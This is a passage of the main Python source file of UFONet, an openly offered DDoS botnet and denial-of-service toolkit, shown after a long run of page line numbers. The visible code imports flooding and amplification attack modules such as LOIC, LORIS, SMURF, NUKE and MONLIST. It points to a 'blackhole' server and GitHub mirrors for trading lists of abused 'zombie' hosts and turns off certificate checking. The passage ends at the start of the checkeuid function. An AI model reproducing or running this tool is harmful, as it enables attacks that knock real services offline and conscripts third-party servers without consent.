main.py 310 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178517951805181518251835184518551865187518851895190519151925193519451955196519751985199520052015202520352045205520652075208520952105211521252135214521552165217521852195220522152225223522452255226522752285229523052315232523352345235523652375238523952405241524252435244524552465247524852495250525152525253525452555256525752585259526052615262526352645265526652675268526952705271527252735274527552765277527852795280528152825283528452855286528752885289529052915292529352945295529652975298529953005301530253035304530553065307530853095310531153125313531453155316531753185319532053215322532353245325532653275328532953305331533253335334533553365337533853395340534153425343534453455346534753485349535053515352535353545355535653575358535953605361536253635364536553665367536853695370537153725373537453755376537753785379538053815382538353845385538653875388538953905391539253935394539553965397539853995400540154025403540454055406540754085409541054115412541354145415541654175418541954205421542254235424542554265427542854295430543154325433543454355436543754385439544054415442544354445445544654475448544954505451545254535454545554565457545854595460546154625463546454655466546754685469547054715472547354745475547654775478547954805481548254835484548554865487548854895490549154925493549454955496549754985499550055015502550355045505550655075508550955105511551255135514551555165517551855195520552155225523552455255526552755285529553055315532553355345535553655375538553955405541554255435544554555465547554855495550555155525553555455555556555755585559556055615562556355645565556655675568556955705571557255735574557555765577557855795580558155825583558455855586558755885589559055915592559355945595559655975598559956005601560256035604560556065607560856095610561156125613561456155616561756185619562056215622562356245625562656275628562956305631563256335634563556365637563856395640564156425643564456455646564756485649565056515652565356545655565656575658565956605661566256635664566556665667566856695670567156725673567456755676567756785679568056815682568356845685568656875688568956905691569256935694569556965697569856995700570157025703570457055706570757085709571057115712571357145715571657175718571957205721572257235724572557265727572857295730573157325733573457355736573757385739574057415742574357445745574657475748574957505751575257535754575557565757575857595760576157625763576457655766576757685769577057715772577357745775577657775778577957805781578257835784578557865787578857895790579157925793579457955796579757985799580058015802580358045805580658075808580958105811581258135814581558165817581858195820582158225823582458255826582758285829583058315832583358345835583658375838583958405841584258435844584558465847584858495850585158525853585458555856585758585859586058615862586358645865586658675868586958705871587258735874587558765877587858795880588158825883588458855886588758885889589058915892589358945895589658975898589959005901590259035904590559065907590859095910591159125913591459155916591759185919592059215922592359245925592659275928592959305931593259335934593559365937593859395940594159425943594459455946594759485949595059515952595359545955595659575958595959605961596259635964596559665967596859695970597159725973597459755976597759785979598059815982598359845985598659875988598959905991599259935994599559965997599859996000600160026003600460056006600760086009601060116012601360146015601660176018601960206021602260236024602560266027602860296030603160326033603460356036603760386039604060416042604360446045604660476048604960506051605260536054605560566057605860596060606160626063606460656066606760686069607060716072607360746075607660776078607960806081608260836084608560866087608860896090609160926093609460956096609760986099610061016102610361046105610661076108610961106111611261136114611561166117611861196120612161226123612461256126612761286129613061316132613361346135613661376138613961406141614261436144614561466147614861496150615161526153615461556156615761586159616061616162616361646165616661676168616961706171617261736174617561766177617861796180618161826183618461856186618761886189619061916192619361946195619661976198619962006201620262036204620562066207620862096210621162126213621462156216
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2022 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. try:
  15. from urllib.parse import urlparse as urlparse
  16. except:
  17. from urlparse import urlparse as urlparse
  18. try:
  19. import urllib.request, urllib.error, urllib.parse
  20. except:
  21. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  22. sys.exit()
  23. from uuid import getnode
  24. from random import randrange, shuffle
  25. from .options import UFONetOptions
  26. from .update import Updater
  27. from .herd import Herd
  28. from .zombie import Zombie
  29. from .doll import Doll
  30. from core.tools.inspector import Inspector
  31. from core.tools.abductor import Abductor
  32. from core.tools.ufoscan import UFOSCAN
  33. from core.mods.loic import LOIC
  34. from core.mods.loris import LORIS
  35. from core.mods.ufosyn import UFOSYN
  36. from core.mods.spray import SPRAY
  37. from core.mods.smurf import SMURF
  38. from core.mods.xmas import XMAS
  39. from core.mods.nuke import NUKE
  40. from core.mods.tachyon import TACHYON
  41. from core.mods.monlist import MONLIST
  42. from core.mods.sniper import SNIPER
  43. from core.mods.ufoack import UFOACK
  44. from core.mods.uforst import UFORST
  45. from core.mods.droper import DROPER
  46. from core.mods.overlap import OVERLAP
  47. from core.mods.pinger import PINGER
  48. from core.mods.ufoudp import UFOUDP
  49. from core.mods.fraggle import FRAGGLE
  50. DEBUG = False # use 'True' for detailed traceback
  51. class UFONet(object):
  52. def __init__(self):
  53. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  54. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  55. self.crypto_key = "U-NATi0n!" # default cryptkey
  56. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  57. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  58. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  59. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  60. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  61. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  62. self.check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  63. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  64. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  65. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  66. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  67. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  68. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  69. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  70. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  71. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  72. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  73. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  74. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  75. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  76. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  77. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  78. self.timeline_file = 'docs/VERSION' # set source for code releases
  79. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  80. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  81. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  82. self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
  83. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  84. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  85. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  86. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  87. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  88. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  89. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  90. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  91. self.referer = '' # black magic
  92. self.port = "8080" # default injection port
  93. self.mothershipname = "core/txt/shipname.txt"
  94. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  95. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  96. self.warping_path = '/var/www/ufonet' # set source for warping path
  97. self.warping_folder_permissions = 0o644 # set permission for warping folder
  98. f = open(self.mothership_model_file) # extract mothership model
  99. self.mothership_model = f.readlines()
  100. for model in self.mothership_model:
  101. model = model.rstrip('\n')
  102. self.mothership_model = model
  103. f.close()
  104. self.mothership_baptism() # generating static name/id for your mothership ;-)
  105. self.head = False
  106. self.payload = False
  107. self.external = False
  108. self.attack_mode = False
  109. self.connection_failed = False
  110. self.total_possible_zombies = 0
  111. self.herd = Herd(self)
  112. self.sem = False
  113. self.db_flash = 0 # db stress counter
  114. self.total_aliens = 0
  115. self.aliens_hit = 0
  116. self.aliens_fail = 0
  117. self.total_droids = 0
  118. self.droids_hit = 0
  119. self.droids_fail = 0
  120. self.total_ucavs = 0
  121. self.ucavs_hit = 0
  122. self.ucavs_fail = 0
  123. self.total_rpcs = 0
  124. self.rpcs_hit = 0
  125. self.rpcs_fail = 0
  126. self.total_loic = 0
  127. self.total_loris = 0
  128. self.total_syn = 0
  129. self.total_spray = 0
  130. self.total_smurf = 0
  131. self.total_fraggle = 0
  132. self.total_xmas = 0
  133. self.total_ufoack = 0
  134. self.total_uforst = 0
  135. self.total_droper = 0
  136. self.total_overlap = 0
  137. self.total_pinger = 0
  138. self.total_ufoudp = 0
  139. self.total_nuke = 0
  140. self.total_tachyon = 0
  141. self.total_monlist = 0
  142. self.total_sniper = 0
  143. self.total_zombies_failed_connection = 0
  144. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  145. self.ctx.check_hostname = False
  146. self.ctx.verify_mode = ssl.CERT_NONE
  147. self.nat_error_flag = "OFF"
  148. self.trans_zombies = 0
  149. self.scanned_zombies = 0
  150. self.loadcheck_counter = 0
  151. self.loadcheck_prev_size = None
  152. self.loadcheck_prev_load = None
  153. self.loadcheck_first_size = None
  154. self.loadcheck_first_load = None
  155. self.loadcheck_size_list = []
  156. self.loadcheck_load_list = []
  157. self.loadcheck_size_median = None
  158. self.loadcheck_size_max = None
  159. self.loadcheck_size_min = None
  160. self.loadcheck_load_median = None
  161. self.loadcheck_size_max = None
  162. self.loadcheck_size_min = None
  163. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  164. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  165. self.expire_timing = 30 # default expiring time per round
  166. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  167. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  168. self.globalnet_msg_sep = "#$#" # globalnet stream separator
  169. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  170. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  171. self.trans_5C = self.trans_5C.encode("latin-1")
  172. self.trans_36 = self.trans_36.encode("latin-1")
  173. def mothership_baptism(self):
  174. if os.path.exists(self.mothershipname) == True:
  175. f = open(self.mothershipname)
  176. self.mothership_id = f.read()
  177. f.close()
  178. else:
  179. self.mothership_ids = []
  180. try:
  181. f = open(self.motherships_file)
  182. motherships = f.readlines()
  183. f.close()
  184. for ship in motherships:
  185. ship = ship.encode("utf-8")
  186. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  187. try:
  188. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  189. except:
  190. try:
  191. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  192. except:
  193. self.mothership_id = self.default_mothership_name
  194. except:
  195. self.mothership_id = self.default_mothership_name
  196. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  197. self.mothership_id = self.default_mothership_name
  198. m = open(self.mothershipname, "w") # write mothership name to a static file
  199. m.write(str(self.mothership_id.upper()))
  200. m.close()
  201. def create_options(self, args=None):
  202. self.optionParser = UFONetOptions()
  203. self.options = self.optionParser.get_options(args)
  204. if not self.options:
  205. return False
  206. return self.options
  207. def banner_welcome(self):
  208. print(" ____ ")
  209. print(" || / /\ \ || #===============================================#")
  210. print(" -(00)- + (XX) + -(00)- || ||")
  211. print(" || || O ==*~~~~~~*== 0 || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
  212. print(" -(00)- (0) XX (0) -(00)- || ||")
  213. print(" || _ _ \| (00) |/ _ _ || || |-> ZOMBIES # |-> LOIC ||")
  214. print(" (O)_ (O) 0'----'0 (O) _(O) || |-> DROIDS # |-> LORIS ||")
  215. print(" | |.''.( xx ).''.| | || |-> ALIENS # |-> UFOSYN ||")
  216. print(" .'.' +X|'..'|X+ '.'. || |-> UCAVs # |-> XMAS ||")
  217. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
  218. print(" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ || |-> DBSTRESS # |-> UFOACK ||")
  219. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
  220. print(" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
  221. print(" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
  222. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
  223. print(" _ | '### | =| | ###### | |= |' ### | _ || |-> FRAGGLE # |-> UFOUDP ||")
  224. print("(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) || |-> SNIPER # ||")
  225. print(" * \ '._.' '. | \_##_/ | .' '._.' / * || ||")
  226. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
  227. print(" .'_.-| YY |-._'. || ||")
  228. print(" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
  229. print(" + Class: PSYoPs / "+str(self.mothership_model)+" + || ||")
  230. print(" #|=============================================|#")
  231. print("")
  232. def banner(self):
  233. print('='*75, "\n")
  234. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  235. print("888 888 888 d88P Y888b 8888b 888 888 ")
  236. print("888 888 888 888 888 88888b 888 888 ")
  237. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  238. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  239. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  240. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  241. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  242. print(self.optionParser.description, "\n")
  243. print('='*75)
  244. def generate_exit_msg(self):
  245. self.exit_msg = "Generating random exit... \n\n"
  246. try:
  247. f = open(self.misc_file)
  248. m = f.readlines()
  249. f.close()
  250. self.exit_msg += " -> "+str(random.choice(m).strip())
  251. except:
  252. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  253. def AI(self):
  254. try:
  255. import turtle as AI
  256. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  257. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  258. bg = random.choice(colors).strip()
  259. t = AI.Pen()
  260. AI.bgcolor(bg)
  261. r = random.randrange(100,100000)
  262. for x in range(r):
  263. t.pencolor(colors[x%6])
  264. w = random.randrange(100,1000)
  265. t.width(x/w + 1)
  266. t.forward(x)
  267. l = random.randrange(50,1000)
  268. t.left(l)
  269. except:
  270. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  271. pass
  272. def round_float(self, num):
  273. return str(int(round(num, -1)))[2] # black magic
  274. def show_mac_address(self):
  275. mac = getnode() # to get physical address
  276. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  277. return hex_mac
  278. def show_ips(self):
  279. import requests
  280. try:
  281. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  282. s.connect(("8.8.8.8", 80))
  283. private_ip = s.getsockname()[0] # black magic
  284. s.close()
  285. except:
  286. private_ip = "Unknown"
  287. try:
  288. public_ip = requests.get(self.check_ip_service3).text
  289. except:
  290. try:
  291. public_ip = requests.get(self.check_ip_service2).text
  292. except:
  293. try:
  294. public_ip = requests.get(self.check_ip_service1).text
  295. except:
  296. public_ip = "Unknown"
  297. return private_ip, public_ip
  298. def try_running(self, func, error, args=None):
  299. options = self.options
  300. args = args or []
  301. try:
  302. return func(*args)
  303. except Exception as e:
  304. if DEBUG == True:
  305. print(error, "error")
  306. traceback.print_exc()
  307. def checkeuid(self):
